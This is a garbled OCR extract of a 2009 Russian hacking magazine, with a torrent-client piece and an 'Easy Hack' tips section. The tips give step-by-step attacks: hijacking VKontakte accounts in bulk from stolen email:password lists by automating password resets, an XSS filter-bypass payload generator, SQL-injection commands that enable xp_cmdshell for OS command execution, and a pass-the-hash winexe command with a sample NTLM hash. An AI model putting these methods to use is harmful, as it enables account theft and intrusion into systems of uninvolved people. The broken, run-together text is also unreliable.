Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
12.83 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

pc_zonew

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

YAHOO-ТРУБАДЛЯГРАББИНГАЛИНКОВНА

 

 

СВЕЖИЕСЕРИИПОПУЛЯРНОГОСЕРИАЛА

 

 

очень удобно на хосте с широким каналом и работаю-

 

 

щими torrent-клиентом расшарить папку и сделать так,

 

 

чтобы прога автоматически подхватывала все появляю-

 

 

щиеся там .torrent-файлы. Помнится, в свое время я

КЛАССНЫЙКЛИЕНТTRANSMISSION ДЛЯМАКАИТУКСА

даже писал простенький Perl-скипт, который запускался

 

 

каждые пять минут через планировщик и проверял пап-

 

 

ку на обновление, скармливая появившиеся торренты на

мало. ВРоссиитрафикчащережутнауровнеорганизации,

 

скачку клиенту. Доступ к этой папке был у моих друзей, и

чтобысотрудниковнесильнобаловатьхалявныминетом.

INFO

они очень просто могли воспользоваться моим каналом,

Обойтитакиеограничениянепросто, номожно. Достаточно

 

просто скопировав в эту папку нужные торренты, а потом

очевидныйспособ— сделатьтак, чтобыпровайдерыне

 

слить закачанные файлы по специально открытому для

моглиразобрать, какиеданныеикакимобразомпереда-

 

них FTP.

ютсяпользователем. Трафикдляэтогоможнопуститьчерез

info

Чутьпозжепоявилсядедикнавиндеиоказалось, что

шифрованныйтуннель, ноэтозачастуюдорого(например,

 

автоматизироватьэтоможнопрямосредствамиuTorrent.

вслучаеплатногоVPN-сервиса) илимедленно(вслучае

• Отом, каксамо-

Надолишьвразделе«Другиенастройки» включитьопцию

бесплатноговариантанабазетогожеTor’а). Однаков

муподнятьсвой

«Автозагрузкафайлов.torrent» изадатьпапкудлязагрузки.

нашемслучаенеобязательнорешатьпроблем«влоб».

торрент-трекер, ты

Правда, поумолчаниюклиентназойливобудеттребовать

Возможностьшифрованиятрафиканаосновепростого

можешьпрочитать

путьдлясохранениязакачиваемыхфайлов, ноиэтоможно

алгоритмаRC4 появиласьвсамихклиентах. Шифрование

в#114 z. PDF-кусо

побороть, указавнужнуюпапкувполе«Помещатьзагружае-

протокола(Protocol Encryption), впервыереализованное

статьеймывыложили

мыефайлыв». Чтобынеспутатьстарыефайлысновыми, все

впрогеBitComet ещев2005 году, теперьподдерживается

надиске.

обработанныеторрентыuTorrent помечаетрасширением

практическивсемиклиентамиивключаетсябезлишнего

 

.torrent.loaded.

геморрояустановкойнужнойгалочкивнастройках. Если

• Разужмызагово-

ОБХОДИМЗАЩИТУПРОВОВ

взятьuTorrent, тошифроватьтрафиконумеетвнескольких

рилиовеб-оболочках

режимах: длявсехподключений, толькодлявходящих,

дляуправления

Колоссальныйобъемтрафика, прокачиваемыйчерез

толькодляисходящихит.д.

закачками, немогу

BitTorrent, конечно, несильнонравитсяпровайдерам.

Реальнообойтиидругиеограничения. Есликорпора-

неупомянутьраз-

Внекоторыхстранахпровыохотноначинаютборотьсяс

тивныйфайрволрежеттрафикпоконкретнымпортам,

работкуTorrentFlux

p2p-сетямииограничиваютсоединения, ссылаясьнато,

товклиентеможнопопробоватьустановитьдругойпорт.

(torrentflux.com).

чточерезторрент(внимание!) можетпередаватьварез.

Вконцеконцов, тотжеuTorrent отличноработаетчерез

Этоторрент-клиент,

Отмазка, конечно, неплохая, нопользователейутешает

проксиилисокс. z

которыйполностью

 

 

написаннаPHP

 

 

идовольнопросто

 

 

устанавливаетсяна

МаленькиесекретыuTorrent

LAMP хостингпод

никсами.

 

 

Мало кто знает, но в самом клиенте есть и небольшой трекер-сервер. Его можно включить в расширенных настройках, обратившись к параметру bt.enable_tracker. По правде говоря, трекер без веб-интерфейса и даже без возможности просмотра обслуживаемых им торрентов. Он не предназначен для использования в широких масштабах и небезопасен, однако, его можно заюзать, если хочешь обменяться. Для этого в торрент-файл нужно поместить его URL: http://âàø.ip:ïîðò/announce.

Торрент-клиент может сильно раздражать, если активные закачки будут мешать комфортному серфингу. Но в uTorrent есть встроенный шейпер-планировщик, позволяющий ограничить клиенту ширину канала в зависимости от времени суток и дня недели. Например, днем, когда ты работаешь, можно установить минимальную скорость для закачки, разрешив лишь отдачу, а ночью – предоставить клиенту весь канал.

Помимо рассмотренного в статье веб-интерфейса WebUI есть масса сторонних разработок. Например, очень удобная программа uRemote (uremote.blogspot.com/), клиент для мобильных телефонов uTorrent Mobile от японских разработчиков (apps.junkship.org), а также веб-оболочка для многопользовательского доступа Multi-user Webui Shell (trac.utorrent.com/trac/wiki/Webui-Shell).

• Привыкнув

кuTorrent’у, сложно перейтинаальтернативныеклиентыпод другимиОС. Приятно, дляэтойпрограммыужесейчасесть бета-версияподMac OS, аподтуксомона отличноработаетпод эмуляторомWine.

XÀÊÅÐ 06 /126/ 09

037

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

 

взлом

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

Easy

Hack

ХАКЕРСКИЕ

 

 

 

 

 

 

 

СЕКРЕТЫ

 

 

 

 

 

 

 

ПРОСТЫХ

 

 

 

 

 

 

 

ВЕЩЕЙ

 

 

 

 

 

 

 

 

 

 

ЛЕОНИД «R0ID» СТРОЙКОВ АНДРЕЙ «SKVOZ» КОМАРОВ

M0R0

 

 

 

/ R0ID@MAIL.RU /

/ KOMAROV@ITDEFENCE.RU /

/ M0R0@INBOX.RU /

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ЗАДАЧА: ПРОЧЕКАТЬСПИСОК

 

 

 

 

 

 

 

 

 

 

№1

 

 

 

 

 

 

МЫЛЬНИКОВНАНАЛИЧИЕ АККА-

 

 

 

 

УНТОВ«ВКОНТАКТЕ»

 

 

 

РЕШЕНИЕ:

Социальныесетискаждымднемнабираютвсебольшуюпопулярность.

 

 

 

 

 

 

Поэтомуядаженебудуспрашивать, зачемтебемогутпотребоватьакки,

Сборпаролейот«ВКонтакте»

например, отwww.vkontakte.ru :). Собратьпарусотенподобныхучетныхза-

 

 

 

писейзачастуюпростонеобходимо, нокакбыть, еслинарукахимеетсялишь

2.

Выбираем список вида мыло:пароль, где пароль — пасс от мыль-

внушительныймаил-листвидамыло:пароль, которыйнеобходимопреоб-

íèêà

 

разитьвсписоктипалогин:парольот«ВКонтакте»? Решениеесть, исейчас

3.

Чекаем мыльники на валид

ятебеегопредставлю. Дляосуществелниязадуманногомывоспользуемся

4.

Валидные мыльники чекаем на наличие акков «ВКонтакте»

утилойMailWok, котораяпредназначенадляпроверкимылнаналичиеакков

5.

Ждем несколько минут (пока на мыла рассылаются письма с вос-

«ВКонтакте», атакжедляавтоматическоговосстановленияпаролейиих

становленными пассами от социальной сети)

сбораспрочеканныхящиков. Преждечемперейтикактивнымдействиям,

6.

Теперь жмем на баттон «Проверить мыла» и ждем, пока тулза

рассмотримвозможностисофтинки:

соберет с ящиков письма, пришедшие от «ВКонтакте»

 

7.

Сохраняем полученные акки

Чекинг мыл на наличие акков «ВКонтакте»

Автоматический запрос на восстановления пароля от аккаунта Теперьовозможныхпроблемах! Еслипассот«ВКонтакте» непришел, значит:

«ВКонтакте»

 

 

 

• Автоматический сбор писем с паролями от «ВКонтакте» с проче-

1.

Мыло не прочекано на валид либо невалидное

канных мыльников

2.

Мыло не зарегано «ВКонтакте»

• Автоматическое удаление собранных писем с восстановлением

3.

Аккаунт «ВКонтакте» зарегистрирован, но не активирован

пароля

 

 

 

 

• Поддержка популярных почтовых сервисов (mail.ru, rambler.ru,

Каквидишь, вседовольнопросто, ноэффективно. Приналичиивремени,

yandex.ru, etc)

желанияибольшойбазымыльныхакковтызапростосможешьсобрать

 

 

целуюБДсучеткамиотwww.vkontakte.ru. Однаконезабывай, чтозавсесвои

Еслитыдосихпорнепонял, очемречь, тоимеетсмыслознакомитьсяспод-

действиятыотвечаешьсам, аиспользованиечужихаккаунтовкатегорически

робнымалгоритмомдействийпорешениюпоставленнойзадачи:

запрещено.

 

 

P.S.НанашемДВДтынайдешьнетолькоутилуMailWok, ноисорцы, которые

1. Сливаем утилу с нашего ДВД

 

былилюбезнопредоставленыавторомпродукта.

 

 

 

 

 

 

 

№2

ЗАДАЧА: НАБРАТЬБОЛЬШОЕКО-

Обративнимание:

 

 

ЛИЧЕСТВОЛЮДЕЙНАIRC-КАНАЛЕ

 

 

 

• При превышении лимитов инвайтов следует переподключиться

РЕШЕНИЕ:

 

• Не стоит собирать ники со служебных каналов (иначе минуты

ЕслитыфанатIRC, тораскрученныйканалсобилиемнарода, длятебя—

жизни твоего канала сочтены)

делочести. Воттолькособратьвнушительноеколичестволюдейнетак-то

• При желании дропнуть чужой канал — достаточно проинвайтить

 

просто. Можно, конечно, рекламироватьсвойIRC-каналвсемивозможными

ники со служебных каналов :)

 

 

способами, однакоестьгораздоболееэффективныйметод, окоторомя

 

 

 

 

 

 

тебесейчасрасскажу. Сутьегозаключаетсявавтоматическойрассылке

 

Плавноперейдемкустановкескрипта:

 

инвайтовипополнениичисленностиканалонаселениязасчетвключен-

 

 

 

 

 

 

ногоавтоджойнаприполученииинвайта. Кактыпонимаешь, речьидетоб

 

1.

Сливаем скрипт с нашего ДВД

 

 

автоматизированнойдоставкеприглашений, поэтомузнакомься—«Invite

 

2.

Открываем mirc-редактор скриптов (aka

 

 

mirc script by elimS». Именноонпоможетнамосуществитьзадуманное. Итак,

 

<Alt+R>)

 

 

начнемсописанияфункциональностискрипта:

 

3.

Создаем новый скрипт (с содержимым

 

 

 

 

нужного нам скрипта "Invite mirc script by

 

 

• Автоматический сбор ников

 

elimS")

 

 

• Автоматическая рассылка инвайтов

 

 

 

 

 

 

 

 

 

 

 

 

 

Скриптавтоинвайтов

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

038

 

 

 

XÀÊÅÐ 06 /126/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Далеенеобходимосконфигурироватьскрипт. Дляэтого:

которого следует собирать ники (на твое усмотрение)

 

 

 

4) На кого будет действовать скрипт — отмечаем тех, кого соби-

1.

Выбираем наш скрипт

 

раемся инвайтить (опов не брать :))

2.

В параметрах указываем:

 

5) Инвайт из указанного ник-листа — использование твоего собс-

1)

Канал — канал, на который будем приглашать

 

твенного ник-листа для рассылки инвайтов

2)

Частота инвайта — цифра в милисекундах (1 секунда = 1к мили-

 

6) Ник-лист исключений — перечисляем ники, которые не будем

секунд). Не забудь, что на каждом сервере существует свой лимит

 

приглашать на канал

инвайтов по времени, поэтому не жадничай и указывай не менее 2

 

 

Словом, еслиИРЦ— неотъемлемаячастьтвоейвиртуальнойжизни, смело

секунд.

 

3)

Величина канала — минимальное количество людей на канале, с

 

сливайскриптснашегодискаиприступайкраскруткесобственногоканала.

 

 

 

 

 

№3

ЗАДАЧА: УСТАНОВИТЬИНАСТРО-

 

 

 

 

ИТЬICQCHAT

 

 

 

РЕШЕНИЕ:

 

 

 

 

Водномизпрошлыхвыпусковzмывыкладывалинанашемдиске

 

 

 

замечательнуюсофтинуICQChat. Ноподробныймануалпонастройке

 

 

 

тулзыотсутствовал, чтовызвалонемаловопросов. Чтож, пришловремя

 

 

 

исправитьдосадноенедоразумениеирасставитьвсепосвоимместам.

 

 

 

Спервасформулируемпланнашихдействий:

 

 

 

 

 

 

 

 

 

 

1. Смена пароля от админки бота

 

 

 

 

2. Смена дефолтного порта админки

 

 

 

 

3. Включить/Отключить админку

 

 

 

 

 

 

 

 

 

Поехали:).

 

 

 

 

1. Длятогочтобысменитьадминскийаккаунт, намнеобходимо:

 

 

 

ЮзаемICQChat

 

 

 

 

 

 

 

• Зайти в папку с ботом

 

 

 

 

• Найти файл jimbot.xml

 

• Включение — true, отключение — false

 

• Отредактировать строчку с логином: : <entry key="http.

 

 

 

 

 

Пораперейтикнастройкамчата. Рекомендуюобратитьвниманиена

 

user">admin</entry>

 

 

• Отредактировать строчку с паролем: <entry key="http.

 

следующиепараметры:

 

pass">admin</entry>

 

 

 

 

 

 

 

Число переподключений движка при обрыве: 5

2. Теперьсменимдефолтовыйпортадминки. Дляэтого:

 

Пауза для входящих сообщений: 1000

 

 

 

 

Пауза для исходящих сообщений: 500

 

• Заходим в папку с ботом

 

Ограничение очереди исходящих: 20

 

• Èùåì ôàéë jhttpserver.properties

 

Пауза перед перезапуском коннекта: 660000

 

• Редактируем строку с указанием порта: port=8888

 

Число повторов флуда: 5

 

• Сохраняем изменения

 

Период флуда (сек): 10

 

 

 

 

Пауза сообщений для незареганых (сек): 20

3. Еслитырешилотключитьадминку, тебеследует:

 

Задержка очереди чата: 10000

 

 

 

 

И многие другие :)

 

• Зайти в папку с ботом

 

 

 

 

 

Вотивсе. Надеюсь, проблемсдальнейшейэксплуатациейчатаутебяне

 

• Найти файл jimbot.xml

 

 

• Отредактировать строку: key=»main.StartHTTP»>true<

 

возникнет.

 

 

 

 

 

 

№4

ЗАДАЧА: УСТАНОВИТЬИСКОНФИ-

 

ГУРИРОВАТЬ 3PROXY СПОДДЕР-

 

ЖКОЙSOCKS5

 

 

РЕШЕНИЕ:

Соксынужнывсегдаивезде:).

 

Однимизлучшихсокс-серверовпоправусчитается3proxy.

 

Поэтому сейчас мы подробно рассмотрим его установку из портов на

 

базе Фряхи:

Устанавливаем3proxy

#cd /usr/ports/net/3proxy/

#make install clean

XÀÊÅÐ 06 /126/ 09

039

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

 

 

взлом

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Теперьсоздаемконфиг:

# cp /usr/local/etc/3proxy.cfg.sample /usr/local/etc/3proxy.cfg

Принеобходимости— пишемлогивсозданнуюдиру:

# mkdir /var/log/3proxy

Вообще, рекомендуетсяпускатьвселогипопрямомуназначению— в/dev/null :).

Далееоткрываймногострадальныйконфиг3proxy.cfg иредактируйпо-своему усмотрению(примерправильногоконфигаищинаDVD).

Все, установказакончена. Запускаем3proxy насерверевкачестведемона:

# /usr/local/etc/rc.d/3proxy start

Хттп-проксиисокс-проксикктвоимуслугам— пользуйсяинезабывайпро логи:).

№5 ЗАДАЧА: ОБОЙТИСАМОПИСНУЮ

СИСТЕМУПОЗАЩИТЕОТXSS, УСТАНОВЛЕННУЮЗЛОБНЫМАДМИНОМ

РЕШЕНИЕ:

Тебепредстоитнайтивариант, которыйзаведомонепредусмотрел администратор. Обычновсеадминыруководствуютсяобщедоступным спискомнаиболеепопулярныхсценариевссайтаha.ckers.org/xss.html (Сross Site Scripting Cheat Sheet) илииспользуюткакой-либомодуль безопасности. Отчаиватьсянестоит— лучшепопробоватьзаюзатьтак называемые«foreign char sets». Примерныедействияследующие:

1. СмотриследующийHTML-код, которыйпозволитсгенерировать256 вариацийдляорганизациипреодоленияфильтра:

<%@ page language="java" contentType="text/html; charset=UTF-8"

pageEncoding="UTF-8"%>

<%@page import="org.apache.commons.lang.StringEscapeUtils" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<title>XSS-генератор</title>

</head>

<body>

<%

for(long i=0; i< 0x100; i++)

{

long lt = 0x3C; long gt = 0x3E; long order = i << 8;

long LT = order | lt; //out.println(Long.toHexString(LT) + " : "); long GT = order | gt; //out.println(Long.toHexString(GT) + "<BR>");

String theScript = (char)LT + "script" + (char)GT + "alert("

+i + ");" +(char)LT + "/script" + (char)GT; out.println( theScript + "<br>");

}

%>

</body>

</html>

2. Попробуйраспечататьрезультатыисполненияскрипта. Возможно, тыувидишь, чтоневсеизсимволовбудуткорректноотображатьсякак набумаге, такивбраузере. Причина— использованиеспецифических кодировок.

№6 ЗАДАЧА: ВЕСТИУЧЕТРАБОТЫ

NMAP НАШИРОКОМАСШТАБНЫХ СЕТЯХ

РЕШЕНИЕ:

Существуетспециальныйпатч,называемыйnmapsql(sourceforge.net/projects/ nmapsql).ОндобавляетподдержкуработысMySQLдляхранениярезультатов сканирования.Этопозволяетосуществлятьудобныйанализданных,выполнятьсортировкиивыборкиизтойкучилогов,которыемоглибыхранитьсякак обычныетекстовыефайлынавыходе.ПатчзаточеннаиспользованиеподUnix/ Linux-окружением,поэтомуотнесисьвнимательнокегонастройке.

1.Установипатчиоткройфайл~/nmapsql.rc дляредактирования. Вэтом файлехранятсявсенеобходимыеопции, главныеизкоторых— настройкидляподключениякбазе.

server=localhost, db=nmaplog, user=nmap, passwd=scanamanga

2.Запустиnmap следующимобразом:

nmap -A --mysql --runid 100 192.168.10.1/24

3.Врезультате, вбазесоздадутсячетыретаблицы:

TARGETS — хранит информацию о конкретной исследуемой машине (IP address, hostname и OС)

SCANNERS — содержит информацию о хосте, с которого стартовал nmapsql. На случай, если у тебя несколько распределенных сканеров с подключением к базе

RUNLIST — содержит user ID, дату и время вызова Nmap. Соответственно, информация о пользователе читается из /etc/passwd. PORTSTAT — таблица с результатами сканирования и информацией о каждом порте (open/close/filtered)

HOSTSSTAT — всевозможного рода статистическая информация, вроде общего количества просканированных хостов, портов и т.д.

Примервыборкиизбазы:

mysql> select target_ip, d, t, port, protocol, -> state, runid from portstat

-> order by target_ip, d, t ;

+---------------

 

+------------

+----------

+--------

+----------

+--------

+-------

+

 

 

 

| target_ip | d

| t

| port

| protocol | state | runid

|

 

 

 

 

 

040

XÀÊÅÐ 06 /126/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

+---------------+------------+----------+--------+----------

 

 

 

+--------+-------+

 

 

 

 

 

 

| 192.168.10.0

| 2003-12-14 | 10:00:37 |

80 | tcp

| open

 

 

 

|

100 |

 

 

 

 

 

 

 

| 192.168.10.1

| 2003-12-14 | 10:00:37 |

21 | tcp

| open

 

 

 

|

100 |

 

 

 

 

 

 

 

| 192.168.10.1

| 2003-12-14 | 10:00:37 |

23 | tcp

| open

 

 

 

 

 

 

 

 

 

 

 

 

|

100 |

 

 

 

 

 

Официальныйпроектnmapsql

| 192.168.10.1 | 2003-12-14 | 10:00:37 | 80 | tcp

| open

| 100 |

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ЗАДАЧА: ВКЛЮЧИТЬВОЗМОЖ-

 

 

 

 

 

 

 

 

№7

 

 

 

 

 

 

 

 

НОСТЬИСПОЛНЕНИЯКОМАНД

 

 

 

 

 

 

 

 

ОПЕРАЦИОННОЙСИСТЕМЫ

 

 

 

 

 

 

 

 

ИСКРИПТОВACTIVEX

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

AUTOMATION SQL SERVER 2005

 

 

 

 

 

 

 

 

РЕШЕНИЕ:

 

 

 

 

 

 

 

 

 

 

ИнъекциявSQL Server таитвсебеогромнуюопасностьзасчетналичия

 

 

 

 

 

 

 

 

большогоколичествасистемныххранимыхпроцедур. Доступкнимпоз-

 

 

 

 

 

 

 

xp_cmdshell поумолчанию

 

 

 

 

Нужныепроцедурыактивированы

 

воляетвзаимодействоватьсоперационнойсистемойотимениучетной

 

недоступен

 

 

 

 

 

 

записиSQL-сервера, чтовбольшинствеслучаевдаетправаSYSTEM.

 

 

 

 

 

 

 

 

Наиболееинтереснымиявляютсяпроцедураxp_cmdshell, позволяющая

 

3.Включаемподдержкуxp_cmdshell:

 

 

 

исполнятьсистемныекоманды, атакжеsp_oacreate/sp_oamethod дляра-

 

 

 

 

 

 

 

 

ботысOLE-объектами, включаядоступкфайловойсистеме. Дляработыс

 

exec sp_configure 'xp_cmdshell',1

 

этимипроцедурамитребуетсярольsysadmin. Янеразсталкивалсяспри-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ложениями, работающимиотимениsa, такчтоэтонетакаяужиредкость.

 

4.ВключаемподдержкуOLE Automation:

 

Проблемавтом, чтоMicrosoft вцеляхповышениябезопасностиотключает

 

 

 

 

 

 

 

 

доступкэтимфункциямвконфигурациисерверапоумолчанию. Активи-

 

sp_configure 'Ole Automation Procedures',1

 

роватьпроцедурыможно, используяинструментарийSQL Surface Area

 

 

 

 

 

 

 

 

 

5.Переконфигурируем:

 

 

 

Configuration. ОднакопонятиеобезопасностиупарнейизMicrosoft всегда

 

 

 

 

вызывалоумиление. Обладаяпривилегиямиsysadmin, можновключить

 

 

 

 

 

 

 

 

доступкэтимпроцедурамудаленносиспользованиемсредствT-SQL.

 

reconfigure

 

 

 

1. Активируемрасширенныеопцииконфигурирования:

 

 

 

 

 

 

 

 

 

Объединяемзапросы, разделяяихсимоволом‘;’, добавляемкомментарий

 

 

 

 

 

 

exec sp_configure 'show advanced options',1

 

 

ивнедряемчерезинъекцию! Теперьможнонаслаждатьсяпрактически

 

2. Переконфиругируемсервер:

 

неограниченнымдоступомксерверу. Нуачтоделатьдальше— зависит

 

 

толькооттвоейфантазии.

 

 

 

 

 

 

 

P.S.ВSQL Server 2000 xp_cmdshell такжеможноактивировать, используя

 

reconfigure

 

 

 

процедуруsp_addextendedproc.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

№8 ЗАДАЧА: УДАЛЕННОВЫПОЛНЯТЬ

КОМАНДЫ, ЗНАЯТОЛЬКОИМЯ УЧЕТНОЙЗАПИСИИLM/NTLM

ХЕШПОЛЬЗОВАТЕЛЯ

РЕШЕНИЕ:

Получив LM/NTLM хеши паролей пользователей, всегда возникает непреодолимое желание как-нибудь их поюзать :). В принципе, можно вооружиться SamInside и некоторым количеством времени

— и получить на выходе пароль пользователя (но в случае NT хеша может и не получиться). Однако есть шанс сделать все гораздо быстрее и проще. Дело в том, что у протоколов NTLMv1 и NTLMv2 от M$, которые до сих пор используются повсеместно, имеется одна особенность — для успешной аутентификации знать пароль необязательно. При аутентификации клиент использует величины, вычисленные с использованием хеша учетной записи, а также сессионного ключа, полученного от сервера (чистый хеш не передается во избежание его дальнейшего повторного использования в случае перехвата).

Длярешениязадачиможешьвоспользоватьсяпропатченнойверсиейwinexe — аналогомвиндовскойpsexec дляниксов(foofus.net/jmk/

passhash.html). ДляееработытребуетсябиблиотекаGNU TLS довольно древнейверсии1.3. Использоватьwinexe прощепростого— впеременнойокруженияSMBHASH долженнаходитьсяхешвформате«LM:NTLM», которыйподцепитсяавтоматомвпроцессеаутентификации. Еслиучетка находитсявдомене, междуименемдоменаиименемучеткинужнопоставить2 (!) обратныхслеша.

$ export SMBHASH="f0d412bd764ffe81aad3b435b51404ee:209c6174da 490caeb422f3fa5a7ae634"

$ ./winexe -U Admin \\192.168.0.1 "ipconfig"

Выполнениеipconfig иwhoami на удаленноймашине

В Винде для этих же целей можешь использовать PSH Toolkit

и msvctl. Однако PSH Toolkit у

меня запускаться отказалась

— ей нужна какая-то особенная версия библиотеки lsasrv. dll, которую мне достать не удалось, а msvctl наотрез отказалась аутентифицироваться в домене. z

XÀÊÅÐ 06 /126/ 09

041

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

w Click

 

BUY

>>m

to

 

 

 

 

 

 

 

 

